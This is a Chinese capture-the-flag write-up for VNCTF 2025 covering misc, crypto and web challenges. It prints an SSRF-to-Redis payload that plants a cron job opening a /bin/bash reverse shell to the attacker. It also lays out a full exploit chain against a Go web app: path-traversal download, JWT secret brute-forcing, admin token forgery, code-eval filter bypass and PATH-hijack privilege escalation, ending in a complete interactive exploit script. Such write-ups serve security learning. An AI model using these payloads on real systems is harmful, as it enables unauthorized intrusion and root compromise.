MISC VN_Lang 一个rust代码和一个exe可执行文件,根据题目描述,该exe文件是由rust生成的。
在代码中,flag是明文保存的:
推测exe可执行文件中也是明文保存的,直接在IDA中F12+shift查找字符串:
1 VNCTF{JMmiPrBv7PSWFpQPY17239zXMEjfgVtcv5FVl3syKiYZS}
aimind 测试容器出网:
file伪协议可用:
读取/proc/net/tcp可找到ip及端口连接关系:
让DeepSeek分析一下:
可以发现本地ip:172.18.0.2
,开启服务端口为5000:
根据题目提示存在内网redis服务,尝试访问6379端口:
(实际比赛中每次环境重启,redis可能在172.18.0.2,也可能在172.18.0.3)
存在未授权访问,反弹shell即可,依次访问:
1 2 3 4 5 6 7 dict://172.18.0.2:6379/set%20xx%20%22%5Cn*%20*%20*%20*%20*%20/bin/bash%20-i%20%3E&%20/dev/tcp/ip/port%200%3E&1%5Cn%22 dict://172.18.0.2:6379/config%20set%20dir%20/var/spool/cron/ dict://172.18.0.2:6379/config%20set%20dbfilename%20root dict://172.18.0.2:6379/save
同时攻击机开启监听,等一会即可收到反弹的shell
1 VNCTF{a503dfaa-f88a-4d95-88b8-5d0975ca0f0d}
CRYPTO easymath 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Util.number import *from secret import flagflag=bytes_to_long(flag) l=flag.bit_length()//3 + 1 n=[] N=1 while len (n) < 3 : p = 4 *getPrime(l)-1 if isPrime(p): n.append(p) N *= p print (f'c={flag*flag%N} ' )from sympy import symbols, expandx = symbols('x' ) polynomial = expand((x - n[0 ]) * (x - n[1 ]) * (x - n[2 ])) print (f'{polynomial=} ' )
根据:
1 polynomial = expand((x - n[0 ]) * (x - n[1 ]) * (x - n[2 ]))
的结果为:
1 polynomial=x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619
可以得到:
1 2 3 n0+n1+n2 = 15264966144147258587171776703005926730518438603688487721465 n0*n1+n0*n2+n1*n2 = 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923 n0*n1*n2 = 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619
进一步可以计算出:
1 2 3 4 5 6 7 8 9 10 11 12 n0, n1, n2 = symbols('n0 n1 n2' ) eq1 = Eq(n0 + n1 + n2, 15264966144147258587171776703005926730518438603688487721465 ) eq2 = Eq(n0*n1 + n0*n2 + n1*n2, 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923 ) eq3 = Eq(n0*n1*n2, 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619 ) solutions = solve((eq1, eq2, eq3), (n0, n1, n2)) n0 = solutions[0 ][0 ] n1 = solutions[0 ][1 ] n2 = solutions[0 ][2 ] print (f"n[0]={n0} \nn[1]={n1} \nn[2]={n2} " )
模平方部分被GPT秒了:
给出到的代码修改一下即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from sympy import symbols, Eq, solveimport mathfrom Crypto.Util.number import *from random import randintdef CRT (a, m ): """ a: 列表,表示余数 [a0, a1, ..., a(n-1)] m: 列表,表示模数 [m0, m1, ..., m(n-1)],要求两两互质 返回最小非负解 x,使得 x ≡ a[i] (mod m[i]) 对所有 i 成立 """ from functools import reduce M = reduce(lambda x, y: x * y, m, 1 ) x = 0 for ai, mi in zip (a, m): Mi = M // mi inv = pow (Mi, -1 , mi) x = (x + ai * Mi * inv) % M return x def sqrt_mod_p (c, p ): return pow (c, (p+1 )//4 , p) def get_flag (): c=24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944 n0, n1, n2 = symbols('n0 n1 n2' ) eq1 = Eq(n0 + n1 + n2, 15264966144147258587171776703005926730518438603688487721465 ) eq2 = Eq(n0*n1 + n0*n2 + n1*n2, 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923 ) eq3 = Eq(n0*n1*n2, 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619 ) solutions = solve((eq1, eq2, eq3), (n0, n1, n2)) n0 = solutions[0 ][0 ] n1 = solutions[0 ][1 ] n2 = solutions[0 ][2 ] print (f"n[0]={n0} \nn[1]={n1} \nn[2]={n2} " ) r0 = sqrt_mod_p(c, int (n0)) r1 = sqrt_mod_p(c, int (n1)) r2 = sqrt_mod_p(c, int (n2)) print (f"r0={r0} \nr1={r1} \nr2={r2} " ) from itertools import product candidates = [] for s0, s1, s2 in product([r0, n0-r0], [r1, n1-r1], [r2, n2-r2]): x = CRT([s0, s1, s2], [n0, n1, n2]) candidates.append(x) for x in candidates: flag_candidate = long_to_bytes(x) if b"VNCTF{" in flag_candidate: print ("Recovered flag:" , flag_candidate) get_flag()
WEB Gin 可以先随便注册一个账户进行登录,发现有一个文件上传窗口,随便上传一个文件:
可以浏览与下载文件。
题目给的附件中没有key.go
文件,可以通过文件下载来获得,访问:
1 http://node.vnteam.cn:45332/download?filename=../config/key.go
下载获得key:
1 2 3 4 5 6 7 8 package configfunc Key () string { return "r00t32l" } func Year () int64 { return 2025 }
在jwt.go
中,密钥生成逻辑为:
1 2 3 4 5 6 func GenerateKey () string { rand.Seed(config.Year()) randomNumber := rand.Intn(1000 ) key := fmt.Sprintf("%03d%s" , randomNumber, config.Key()) return key }
python仿照生成字典:
1 2 3 4 5 6 7 8 9 10 import itertoolsstatic_key = "r00t32l" year = 2025 possible_keys = [f"{str (i).zfill(3 )} {static_key} " for i in range (1000 )] with open ("keys.txt" , "w" ) as f: for key in possible_keys: f.write(key + "\n" )
使用jwt_tool爆破:
1 python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJpc3MiOiJNYXNoMXIwIiwic3ViIjoidXNlciB0b2tlbiIsImV4cCI6MTczOTEyMDMxMywiaWF0IjoxNzM5MDMzOTEzfQ.fmEVJ_RpH05fVmfcbRMMNOd0vvR7ObL66cWYTB0dphM -C -d keys.txt
爆破出密钥:
伪造admin的token:
现在可以访问/admin
路由了!其中可以执行go代码,存在过滤:
使用syscall
即可绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package mainimport ( "fmt" "syscall" ) func main () { err := syscall.Exec("/bin/ls" , []string {"ls" , "/" }, nil ) if err != nil { fmt.Println("error:" , err) return } }
尝试读取flag:
问了出题人,说还需要提权,那么就再找找看怎么提权,找一下SUID
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package mainimport ( "fmt" "syscall" ) func main () { err := syscall.Exec("/bin/bash" , []string {"bash" , "-c" , "find / -perm -u=s -type f 2>/dev/null" }, nil ) if err != nil { fmt.Println("error:" , err) return } }
1 2 3 4 5 6 7 8 9 10 /usr/bin/chsh /usr/bin/su /usr/bin/passwd /usr/bin/newgrp /usr/bin/mount /usr/bin/gpasswd /usr/bin/umount /usr/bin/chfn /usr/bin/sudo /.../Cat
其中/.../Cat
这个程序很可疑,将这个文件复制到/GinTest
,再通过文件下载漏洞下载下来看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package mainimport ( "fmt" "syscall" ) func main () { err := syscall.Exec("/bin/bash" , []string {"bash" , "-c" , "cp /.../Cat ./Cat" }, nil ) if err != nil { fmt.Println("error:" , err) return } }
访问
1 /download?filename=../Cat
下载下来的文件简单逆向一下可以看到:
我们只需要利用环境变量劫持cat即可提权,参考文章 - Linux环境变量提权 - 先知社区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package mainimport ( "fmt" "syscall" ) func main () { err := syscall.Exec("/bin/bash" , []string {"bash" , "-c" , "echo \"whoami\" > /tmp/cat;chmod 777 /tmp/cat;export PATH=/tmp:$PATH;/.../Cat" }, nil ) if err != nil { fmt.Println("error:" , err) return } }
成功提权:
接下来读flag即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package mainimport ( "fmt" "syscall" ) func main () { err := syscall.Exec("/bin/bash" , []string {"bash" , "-c" , "echo \"/bin/cat /root/flag\" > /tmp/cat;chmod 777 /tmp/cat;export PATH=/tmp:$PATH;/.../Cat" }, nil ) if err != nil { fmt.Println("error:" , err) return } }
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 import requestsimport jsonurl = "http://node.vnteam.cn:48526/" def get_key_dict (): import itertools static_key = "r00t32l" year = 2025 possible_keys = [f"{str (i).zfill(3 )} {static_key} " for i in range (1000 )] with open ("keys.txt" , "w" ) as f: for key in possible_keys: f.write(key + "\n" ) def register (): register_url = url+"register" josn_data = { "username" : "BR" , "password" : "123456" } res = requests.post(register_url, json=josn_data) print (res.text) def login (): login_url = url+"login" josn_data = { "username" : "BR" , "password" : "123456" } res = requests.post(login_url, json=josn_data) print (res.text) token = json.loads(res.text)["data" ]["token" ] return token def download (token, filename ): download_url = url+"download?filename=" +filename headers = { "Cookie" : f"token={token} " } res = requests.get(download_url, headers=headers) if res.status_code == 200 : with open (filename.replace("/" , "_" ), "wb" ) as f: f.write(res.content) print (f"{filename} Download success" ) else : print ("file not found" ) def get_key (token ): import subprocess import re get_key_dict() result = subprocess.run(["python" , ".\jwt_tool.py" , token, "-C" , "-d" , ".\keys.txt" ], capture_output=True , text=True , shell=True ) key = re.search(r"\[\+\] (\S+) is the CORRECT key!" , result.stdout).group(1 ) print ("get key!!: " + key) return key def get_admin_token (key ): import jwt import time header = { "alg" : "HS256" , "typ" : "JWT" } payload = { "username" : "admin" , "iss" : "Mash1r0" , "sub" : "user token" , "exp" : int (time.time())+ 36000 , "iat" : int (time.time()) } token = jwt.encode(payload, key, algorithm="HS256" , headers=header) print ("get admin token!!: " + token) return token def rce (token, cmd ): if cmd[0 :3 ] == "cat" : cmd = cmd.replace("cat" , "/bin/cat" ) rce_url = url+"eval" headers = { "Cookie" : f"token={token} " } files = { "code" : ( None , r'''package main import ( "fmt" "syscall" ) func main() { err := syscall.Exec("/bin/bash", []string{"bash", "-c", "echo \"''' + cmd.encode('unicode_escape' ).decode('utf-8' ) + r'''\" > /tmp/cat;chmod 777 /tmp/cat;export PATH=/tmp:$PATH;/.../Cat"}, nil) if err != nil { fmt.Println("error:", err) return } } ''' , "text/plain" ) } res = requests.post(rce_url, files=files, headers=headers) return res if __name__ == "__main__" : import os import json register() token = login() key = get_key(token) token = get_admin_token(key) while True : cmd = input ("$ " ) result = rce(token, cmd) try : data = json.loads(result.text)["data" ]["result" ] except : data = json.loads(result.text)["data" ]["error" ] print (data)